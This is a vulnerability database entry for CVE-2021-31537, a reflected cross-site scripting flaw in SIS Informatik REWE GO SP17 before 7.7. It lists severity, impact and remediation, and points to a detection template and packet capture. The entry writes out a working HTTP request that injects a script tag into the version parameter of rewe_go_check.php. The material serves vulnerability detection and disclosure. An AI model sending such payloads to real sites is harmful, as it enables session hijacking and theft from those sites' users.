| Title | SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being displayed on web pages. |
| CVSS Score | 6.1 |
| EPSS Score | 0.72054 |
| CVE ID | CVE-2021-31537 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss seclists intrusive sisinformatik vuln |
SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
GET /rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm(38FKTAcr6xxz6SiYKKRs7lsHJhD)%3c%2fscript%3e&win=2707 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.8
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31537.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31537.pcap
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